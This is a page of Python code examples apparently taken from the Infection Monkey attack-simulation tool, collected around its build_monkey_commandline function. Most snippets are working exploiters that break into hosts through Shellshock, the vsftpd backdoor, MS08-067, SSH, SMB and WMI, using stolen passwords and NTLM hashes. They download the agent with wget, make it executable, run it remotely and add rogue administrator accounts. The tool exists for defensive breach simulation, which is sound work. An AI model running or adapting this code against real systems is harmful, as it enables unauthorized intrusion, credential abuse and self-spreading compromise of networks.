예제 #1
0
    def execute_remote_monkey(self, url, path, dropper=False):
        """
        This method executes remote monkey
        :param url: Where to send malicious packets
        :param path: Path to monkey on remote host
        :param dropper: Should remote monkey be executed with dropper or with monkey arg?
        :return: Response or False if failed
        """
        logger.info("Trying to execute remote monkey")
        # Get monkey command line
        if dropper and path:
            # If dropper is chosen we try to move monkey to default location
            default_path = self.get_default_dropper_path()
            if default_path is False:
                return False
            monkey_cmd = build_monkey_commandline(self.host,
                                                  get_monkey_depth() - 1,
                                                  self.vulnerable_port,
                                                  default_path)
            command = RUN_MONKEY % {
                "monkey_path": path,
                "monkey_type": DROPPER_ARG,
                "parameters": monkey_cmd,
            }
        else:
            monkey_cmd = build_monkey_commandline(self.host,
                                                  get_monkey_depth() - 1,
                                                  self.vulnerable_port)
            command = RUN_MONKEY % {
                "monkey_path": path,
                "monkey_type": MONKEY_ARG,
                "parameters": monkey_cmd,
            }
        try:
            logger.info(
                "Trying to execute monkey using command: {}".format(command))
            resp = self.exploit(url, command)
            # If exploiter returns True / False
            if isinstance(resp, bool):
                logger.info("Execution attempt successfully finished")
                self.add_executed_cmd(command)
                return resp
            # If exploiter returns command output, we can check for execution errors
            if "is not recognized" in resp or "command not found" in resp:
                logger.error(
                    "Wrong path chosen or other process already deleted monkey"
                )
                return False
            elif "The system cannot execute" in resp:
                logger.error("System could not execute monkey")
                return False
        except Exception as e:
            logger.error(
                "Something went wrong when trying to execute remote monkey: %s"
                % e)
            return False
        logger.info("Execution attempt finished")

        self.add_executed_cmd(command)
        return resp
예제 #2
0
def test_build_monkey_commandline():
    example_host = VictimHost(ip_addr="bla")
    example_host.set_default_server("101010")

    expected = f" -p {GUID} -s 101010 -d 0 -l /home/bla -vp 80"
    actual = build_monkey_commandline(target_host=example_host,
                                      depth=0,
                                      vulnerable_port="80",
                                      location="/home/bla")

    assert expected == actual
예제 #3
0
 def get_monkey_launch_command(self):
     dst_path = get_monkey_dest_path(self.monkey_server.http_path)
     # Form monkey's launch command
     monkey_args = build_monkey_commandline(
         self.host,
         get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT,
         dst_path)
     suffix = ">>{}".format(self.payload_file_path)
     prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
     return MSSQLLimitedSizePayload(
         command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
         prefix=prefix,
         suffix=suffix,
     )
예제 #4
0
def build_monkey_execution_command(host: VictimHost, depth: int,
                                   executable_path: str) -> str:
    monkey_params = build_monkey_commandline(
        target_host=host,
        depth=depth,
        vulnerable_port=None,
        location=executable_path,
    )

    return RUN_MONKEY % {
        "monkey_path": executable_path,
        "monkey_type": DROPPER_ARG,
        "parameters": monkey_params,
    }
예제 #5
0
    def _build_command(self, path, http_path) -> str:
        # Build command to execute
        monkey_cmd = build_monkey_commandline(self.host,
                                              get_monkey_depth() - 1,
                                              vulnerable_port=None,
                                              location=path)
        if "linux" in self.host.os["type"]:
            base_command = LOG4SHELL_LINUX_COMMAND
        else:
            base_command = LOG4SHELL_WINDOWS_COMMAND

        return base_command % {
            "monkey_path": path,
            "http_path": http_path,
            "monkey_type": DROPPER_ARG,
            "parameters": monkey_cmd,
        }
예제 #6
0
    def build_command(self, path, http_path):
        # Build command to execute
        monkey_cmd = build_monkey_commandline(
            self.host,
            get_monkey_depth() - 1,
            vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0])
        if "linux" in self.host.os["type"]:
            base_command = HADOOP_LINUX_COMMAND
        else:
            base_command = HADOOP_WINDOWS_COMMAND

        return base_command % {
            "monkey_path": path,
            "http_path": http_path,
            "monkey_type": MONKEY_ARG,
            "parameters": monkey_cmd,
        }
예제 #7
0
    def _exploit_host(self):
        # start by picking ports
        candidate_services = {
            service: self.host.services[service]
            for service in self.host.services
            if ("name" in self.host.services[service]) and (
                self.host.services[service]["name"] == "http")
        }

        valid_ports = [
            (port, candidate_services["tcp-" + str(port)]["data"][1])
            for port in self.HTTP if "tcp-" + str(port) in candidate_services
        ]
        http_ports = [port[0] for port in valid_ports if not port[1]]
        https_ports = [port[0] for port in valid_ports if port[1]]

        LOG.info("Scanning %s, ports [%s] for vulnerable CGI pages" %
                 (self.host, ",".join([str(port[0]) for port in valid_ports])))

        attackable_urls = []
        # now for each port we want to check the entire URL list
        for port in http_ports:
            urls = self.check_urls(self.host.ip_addr, port)
            attackable_urls.extend(urls)
        for port in https_ports:
            urls = self.check_urls(self.host.ip_addr, port, is_https=True)
            attackable_urls.extend(urls)
        # now for each URl we want to try and see if it's attackable
        exploitable_urls = [
            self.attempt_exploit(url) for url in attackable_urls
        ]
        exploitable_urls = [url for url in exploitable_urls if url[0] is True]

        # we want to report all vulnerable URLs even if we didn't succeed
        self.exploit_info["vulnerable_urls"] = [
            url[1] for url in exploitable_urls
        ]

        # now try URLs until we install something on victim
        for _, url, header, exploit in exploitable_urls:
            LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
            # same attack script as sshexec
            # for any failure, quit and don't try other URLs
            if not self.host.os.get("type"):
                try:
                    uname_os_attack = exploit + "/bin/uname -o"
                    uname_os = self.attack_page(url, header, uname_os_attack)
                    if "linux" in uname_os:
                        self.host.os["type"] = "linux"
                    else:
                        LOG.info("SSH Skipping unknown os: %s", uname_os)
                        return False
                except Exception as exc:
                    LOG.debug(
                        "Error running uname os command on victim %r: (%s)",
                        self.host, exc)
                    return False
            if not self.host.os.get("machine"):
                try:
                    uname_machine_attack = exploit + "/bin/uname -m"
                    uname_machine = self.attack_page(url, header,
                                                     uname_machine_attack)
                    if "" != uname_machine:
                        self.host.os["machine"] = uname_machine.lower().strip()
                except Exception as exc:
                    LOG.debug(
                        "Error running uname machine command on victim %r: (%s)",
                        self.host, exc)
                    return False

            # copy the monkey
            dropper_target_path_linux = self._config.dropper_target_path_linux
            if self.skip_exist and (self.check_remote_file_exists(
                    url, header, exploit, dropper_target_path_linux)):
                LOG.info(
                    "Host %s was already infected under the current configuration, "
                    "done" % self.host)
                return True  # return already infected

            src_path = get_target_monkey(self.host)
            if not src_path:
                LOG.info("Can't find suitable monkey executable for host %r",
                         self.host)
                return False

            if not self._create_lock_file(exploit, url, header):
                LOG.info("Another monkey is running shellshock exploit")
                return True

            http_path, http_thread = HTTPTools.create_transfer(
                self.host, src_path)

            if not http_path:
                LOG.debug(
                    "Exploiter ShellShock failed, http transfer creation failed."
                )
                return False

            download_command = "/usr/bin/wget %s -O %s;" % (
                http_path, dropper_target_path_linux)

            download = exploit + download_command
            self.attack_page(
                url, header, download
            )  # we ignore failures here since it might take more than TIMEOUT time

            http_thread.join(DOWNLOAD_TIMEOUT)
            http_thread.stop()

            self._remove_lock_file(exploit, url, header)

            if (http_thread.downloads !=
                    1) or ("ELF" not in self.check_remote_file_exists(
                        url, header, exploit, dropper_target_path_linux)):
                LOG.debug("Exploiter %s failed, http download failed." %
                          self.__class__.__name__)
                continue

            # turn the monkey into an executable
            chmod = "/bin/chmod +x %s" % dropper_target_path_linux
            run_path = exploit + chmod
            self.attack_page(url, header, run_path)
            T1222Telem(ScanStatus.USED, chmod, self.host).send()

            # run the monkey
            cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
            cmdline += build_monkey_commandline(
                self.host,
                get_monkey_depth() - 1,
                HTTPTools.get_port_from_url(url),
                dropper_target_path_linux,
            )
            cmdline += " & "
            run_path = exploit + cmdline
            self.attack_page(url, header, run_path)

            LOG.info(
                "Executed monkey '%s' on remote victim %r (cmdline=%r)",
                self._config.dropper_target_path_linux,
                self.host,
                cmdline,
            )

            if not (self.check_remote_file_exists(
                    url, header, exploit, self._config.monkey_log_path_linux)):
                LOG.info("Log file does not exist, monkey might not have run")
                continue
            self.add_executed_cmd(cmdline)
            return True

        return False
예제 #8
0
    def _exploit_host(self):

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in list(self.host.services.items()):
            if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
                port = int(servkey.replace("tcp-", ""))

        is_open, _ = check_tcp_port(self.host.ip_addr, port)
        if not is_open:
            logger.info("SSH port is closed on %r, skipping", self.host)
            return False

        try:
            ssh = self.exploit_with_ssh_keys(port)
        except FailedExploitationError:
            try:
                ssh = self.exploit_with_login_creds(port)
            except FailedExploitationError:
                logger.debug("Exploiter SSHExploiter is giving up...")
                return False

        if not self.host.os.get("type"):
            try:
                _, stdout, _ = ssh.exec_command("uname -o")
                uname_os = stdout.read().lower().strip().decode()
                if "linux" in uname_os:
                    self.host.os["type"] = "linux"
                else:
                    logger.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception as exc:
                logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc)
                return False

        if not self.host.os.get("machine"):
            try:
                _, stdout, _ = ssh.exec_command("uname -m")
                uname_machine = stdout.read().lower().strip().decode()
                if "" != uname_machine:
                    self.host.os["machine"] = uname_machine
            except Exception as exc:
                logger.debug(
                    "Error running uname machine command on victim %r: (%s)", self.host, exc
                )

        if self.skip_exist:
            _, stdout, stderr = ssh.exec_command(
                "head -c 1 %s" % self._config.dropper_target_path_linux
            )
            stdout_res = stdout.read().strip()
            if stdout_res:
                # file exists
                logger.info(
                    "Host %s was already infected under the current configuration, "
                    "done" % self.host
                )
                return True  # return already infected

        src_path = get_target_monkey(self.host)

        if not src_path:
            logger.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(
                    file_obj,
                    self._config.dropper_target_path_linux,
                    file_size=monkeyfs.getsize(src_path),
                    callback=self.log_transfer,
                )
                ftp.chmod(self._config.dropper_target_path_linux, 0o777)
                status = ScanStatus.USED
                T1222Telem(
                    ScanStatus.USED,
                    "chmod 0777 %s" % self._config.dropper_target_path_linux,
                    self.host,
                ).send()
            ftp.close()
        except Exception as exc:
            logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
            status = ScanStatus.SCANNED

        T1105Telem(
            status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
        ).send()
        if status == ScanStatus.SCANNED:
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
            cmdline += build_monkey_commandline(
                self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT
            )
            cmdline += " > /dev/null 2>&1 &"
            ssh.exec_command(cmdline)

            logger.info(
                "Executed monkey '%s' on remote victim %r (cmdline=%r)",
                self._config.dropper_target_path_linux,
                self.host,
                cmdline,
            )

            ssh.close()
            self.add_executed_cmd(cmdline)
            return True

        except Exception as exc:
            logger.debug("Error running monkey on victim %r: (%s)", self.host, exc)
            return False
예제 #9
0
    def _exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            logger.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        exploited = False
        for user, password, lm_hash, ntlm_hash in creds:
            try:
                # copy the file remotely using SMB
                remote_full_path = SmbTools.copy_file(
                    self.host,
                    src_path,
                    self._config.dropper_target_path_win_32,
                    user,
                    password,
                    lm_hash,
                    ntlm_hash,
                    self._config.smb_download_timeout,
                )

                if remote_full_path is not None:
                    logger.debug(
                        "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
                        "%s : (SHA-512) %s)",
                        self.host,
                        user,
                        self._config.hash_sensitive_data(password),
                        self._config.hash_sensitive_data(lm_hash),
                        self._config.hash_sensitive_data(ntlm_hash),
                    )
                    self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
                    self.add_vuln_port(
                        "%s or %s"
                        % (
                            SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
                            SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
                        )
                    )
                    exploited = True
                    break
                else:
                    # failed exploiting with this user/pass
                    self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)

            except Exception as exc:
                logger.debug(
                    "Exception when trying to copy file using SMB to %r with user:"******" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
                    "SHA-512): %s: (%s)",
                    self.host,
                    user,
                    self._config.hash_sensitive_data(password),
                    self._config.hash_sensitive_data(lm_hash),
                    self._config.hash_sensitive_data(ntlm_hash),
                    exc,
                )
                continue

        if not exploited:
            logger.debug("Exploiter SmbExec is giving up...")
            return False

        self.set_vulnerable_port()
        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
            cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
                "dropper_path": remote_full_path
            } + build_monkey_commandline(
                self.host,
                get_monkey_depth() - 1,
                self.vulnerable_port,
                self._config.dropper_target_path_win_32,
            )
        else:
            cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
                "monkey_path": remote_full_path
            } + build_monkey_commandline(
                self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port
            )

        smb_conn = False
        for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
            rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
            rpctransport.set_dport(port)
            rpctransport.setRemoteHost(self.host.ip_addr)
            if hasattr(rpctransport, "set_credentials"):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None)
            rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

            scmr_rpc = rpctransport.get_dce_rpc()

            try:
                scmr_rpc.connect()
            except Exception as exc:
                logger.debug(
                    "Can't connect to SCM on exploited machine %r port %s : %s",
                    self.host,
                    port,
                    exc,
                )
                continue

            smb_conn = rpctransport.get_smb_connection()
            break

        if not smb_conn:
            return False
        # We don't wanna deal with timeouts from now on.
        smb_conn.setTimeout(100000)
        scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(scmr_rpc)
        sc_handle = resp["lpScHandle"]

        # start the monkey using the SCM
        resp = scmr.hRCreateServiceW(
            scmr_rpc,
            sc_handle,
            self._config.smb_service_name,
            self._config.smb_service_name,
            lpBinaryPathName=cmdline,
        )
        service = resp["lpServiceHandle"]
        try:
            scmr.hRStartServiceW(scmr_rpc, service)
            status = ScanStatus.USED
        except Exception:
            status = ScanStatus.SCANNED
            pass
        T1035Telem(status, UsageEnum.SMB).send()
        scmr.hRDeleteService(scmr_rpc, service)
        scmr.hRCloseServiceHandle(scmr_rpc, service)

        logger.info(
            "Executed monkey '%s' on remote victim %r (cmdline=%r)",
            remote_full_path,
            self.host,
            cmdline,
        )

        self.add_vuln_port(
            "%s or %s"
            % (
                SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
                SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
            )
        )
        return True
예제 #10
0
    def _exploit_host(self):
        LOG.info("Attempting to trigger the Backdoor..")
        ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
            ftp_socket.recv(RECV_128).decode("utf-8")

        if self.socket_send_recv(ftp_socket, USERNAME + b"\n"):
            time.sleep(FTP_TIME_BUFFER)
            self.socket_send(ftp_socket, PASSWORD + b"\n")
            ftp_socket.close()
            LOG.info("Backdoor Enabled, Now we can run commands")
        else:
            LOG.error("Failed to trigger backdoor on %s", self.host.ip_addr)
            return False

        LOG.info("Attempting to connect to backdoor...")
        backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        if self.socket_connect(backdoor_socket, self.host.ip_addr,
                               BACKDOOR_PORT):
            LOG.info("Connected to backdoor on %s:6200", self.host.ip_addr)

        uname_m = str.encode(UNAME_M + "\n")
        response = self.socket_send_recv(backdoor_socket, uname_m)

        if response:
            LOG.info("Response for uname -m: %s", response)
            if "" != response.lower().strip():
                # command execution is successful
                self.host.os["machine"] = response.lower().strip()
                self.host.os["type"] = "linux"
        else:
            LOG.info("Failed to execute command uname -m on victim %r ",
                     self.host)

        src_path = get_target_monkey(self.host)
        LOG.info("src for suitable monkey executable for host %r is %s",
                 self.host, src_path)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r",
                     self.host)
            return False

        # Create a http server to host the monkey
        http_path, http_thread = HTTPTools.create_locked_transfer(
            self.host, src_path)
        dropper_target_path_linux = self._config.dropper_target_path_linux
        LOG.info("Download link for monkey is %s", http_path)

        # Upload the monkey to the machine
        monkey_path = dropper_target_path_linux
        download_command = WGET_HTTP_UPLOAD % {
            "monkey_path": monkey_path,
            "http_path": http_path
        }
        download_command = str.encode(str(download_command) + "\n")
        LOG.info("Download command is %s", download_command)
        if self.socket_send(backdoor_socket, download_command):
            LOG.info("Monkey is now Downloaded ")
        else:
            LOG.error("Failed to download monkey at %s", self.host.ip_addr)
            return False

        http_thread.join(DOWNLOAD_TIMEOUT)
        http_thread.stop()

        # Change permissions
        change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
        change_permission = str.encode(str(change_permission) + "\n")
        LOG.info("change_permission command is %s", change_permission)
        backdoor_socket.send(change_permission)
        T1222Telem(ScanStatus.USED, change_permission.decode(),
                   self.host).send()

        # Run monkey on the machine
        parameters = build_monkey_commandline(self.host,
                                              get_monkey_depth() - 1,
                                              vulnerable_port=FTP_PORT)
        run_monkey = RUN_MONKEY % {
            "monkey_path": monkey_path,
            "monkey_type": MONKEY_ARG,
            "parameters": parameters,
        }

        # Set unlimited to memory
        # we don't have to revert the ulimit because it just applies to the shell obtained by our
        # exploit
        run_monkey = ULIMIT_V + UNLIMITED + run_monkey
        run_monkey = str.encode(str(run_monkey) + "\n")
        time.sleep(FTP_TIME_BUFFER)
        if backdoor_socket.send(run_monkey):
            LOG.info(
                "Executed monkey '%s' on remote victim %r (cmdline=%r)",
                self._config.dropper_target_path_linux,
                self.host,
                run_monkey,
            )
            self.add_executed_cmd(run_monkey.decode())
            return True
        else:
            return False
예제 #11
0
    def _exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            logger.info("Can't find suitable monkey executable for host %r", self.host)
            return False

        creds = self._config.get_exploit_user_password_or_hash_product()

        for user, password, lm_hash, ntlm_hash in creds:
            password_hashed = self._config.hash_sensitive_data(password)
            lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
            ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
            creds_for_logging = (
                "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): "
                "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed)
            )
            logger.debug(
                ("Attempting to connect %r using WMI with " % self.host) + creds_for_logging
            )

            wmi_connection = WmiTools.WmiConnection()

            try:
                wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
            except AccessDeniedException:
                self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
                logger.debug(
                    ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
                )
                continue
            except DCERPCException:
                self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
                logger.debug(
                    ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
                )
                continue
            except socket.error:
                logger.debug(
                    ("Network error in WMI connection to %r with " % self.host) + creds_for_logging
                )
                return False
            except Exception as exc:
                logger.debug(
                    ("Unknown WMI connection error to %r with " % self.host)
                    + creds_for_logging
                    + (" (%s):\n%s" % (exc, traceback.format_exc()))
                )
                return False

            self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)

            # query process list and check if monkey already running on victim
            process_list = WmiTools.list_object(
                wmi_connection,
                "Win32_Process",
                fields=("Caption",),
                where="Name='%s'" % ntpath.split(src_path)[-1],
            )
            if process_list:
                wmi_connection.close()

                logger.debug("Skipping %r - already infected", self.host)
                return False

            # copy the file remotely using SMB
            remote_full_path = SmbTools.copy_file(
                self.host,
                src_path,
                self._config.dropper_target_path_win_32,
                user,
                password,
                lm_hash,
                ntlm_hash,
                self._config.smb_download_timeout,
            )

            if not remote_full_path:
                wmi_connection.close()
                return False
            # execute the remote dropper in case the path isn't final
            elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
                cmdline = DROPPER_CMDLINE_WINDOWS % {
                    "dropper_path": remote_full_path
                } + build_monkey_commandline(
                    self.host,
                    get_monkey_depth() - 1,
                    WmiExploiter.VULNERABLE_PORT,
                    self._config.dropper_target_path_win_32,
                )
            else:
                cmdline = MONKEY_CMDLINE_WINDOWS % {
                    "monkey_path": remote_full_path
                } + build_monkey_commandline(
                    self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT
                )

            # execute the remote monkey
            result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(
                cmdline, ntpath.split(remote_full_path)[0], None
            )

            if (0 != result.ProcessId) and (not result.ReturnValue):
                logger.info(
                    "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
                    remote_full_path,
                    self.host,
                    result.ProcessId,
                    cmdline,
                )

                self.add_vuln_port(port="unknown")
                success = True
            else:
                logger.debug(
                    "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, "
                    "cmdline=%r)",
                    remote_full_path,
                    self.host,
                    result.ProcessId,
                    result.ReturnValue,
                    cmdline,
                )
                success = False

            result.RemRelease()
            wmi_connection.close()
            self.add_executed_cmd(cmdline)
            return success

        return False
예제 #12
0
 def get_monkey_commandline_file(self, location):
     return BytesIO(DROPPER_ARG + build_monkey_commandline(
         self.host,
         get_monkey_depth() -
         1, SambaCryExploiter.SAMBA_PORT, str(location)))
예제 #13
0
    def _exploit_host(self):
        src_path = get_target_monkey(self.host)

        if not src_path:
            logger.info("Can't find suitable monkey executable for host %r",
                        self.host)
            return False

        os_version = self._windows_versions.get(self.host.os.get("version"),
                                                WindowsVersion.Windows2003_SP2)

        exploited = False
        random_password = get_random_password()
        for _ in range(self._config.ms08_067_exploit_attempts):
            exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr,
                                     os_version=os_version)

            try:
                sock = exploit.start()

                sock.send(
                    "cmd /c (net user {} {} /add) &&"
                    " (net localgroup administrators {} /add)\r\n".format(
                        self._config.user_to_add,
                        random_password,
                        self._config.user_to_add,
                    ).encode())
                time.sleep(2)
                sock.recv(1000)

                logger.debug("Exploited into %r using MS08-067", self.host)
                exploited = True
                break
            except Exception as exc:
                logger.debug("Error exploiting victim %r: (%s)", self.host,
                             exc)
                continue

        if not exploited:
            logger.debug("Exploiter MS08-067 is giving up...")
            return False

        # copy the file remotely using SMB
        remote_full_path = SmbTools.copy_file(
            self.host,
            src_path,
            self._config.dropper_target_path_win_32,
            self._config.user_to_add,
            random_password,
        )

        if not remote_full_path:
            # try other passwords for administrator
            for password in self._config.exploit_password_list:
                remote_full_path = SmbTools.copy_file(
                    self.host,
                    src_path,
                    self._config.dropper_target_path_win_32,
                    "Administrator",
                    password,
                )
                if remote_full_path:
                    break

            if not remote_full_path:
                return True

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower(
        ) != self._config.dropper_target_path_win_32.lower():
            cmdline = DROPPER_CMDLINE_WINDOWS % {
                "dropper_path": remote_full_path
            } + build_monkey_commandline(
                self.host,
                get_monkey_depth() - 1,
                SRVSVC_Exploit.TELNET_PORT,
                self._config.dropper_target_path_win_32,
            )
        else:
            cmdline = MONKEY_CMDLINE_WINDOWS % {
                "monkey_path": remote_full_path
            } + build_monkey_commandline(
                self.host,
                get_monkey_depth() - 1,
                vulnerable_port=SRVSVC_Exploit.TELNET_PORT)

        try:
            sock.send(("start %s\r\n" % (cmdline, )).encode())
            sock.send(("net user %s /delete\r\n" %
                       (self._config.user_to_add, )).encode())
        except Exception as exc:
            logger.debug(
                "Error in post-debug phase while exploiting victim %r: (%s)",
                self.host, exc)
            return True
        finally:
            try:
                sock.close()
            except socket.error:
                pass

        logger.info(
            "Executed monkey '%s' on remote victim %r (cmdline=%r)",
            remote_full_path,
            self.host,
            cmdline,
        )

        return True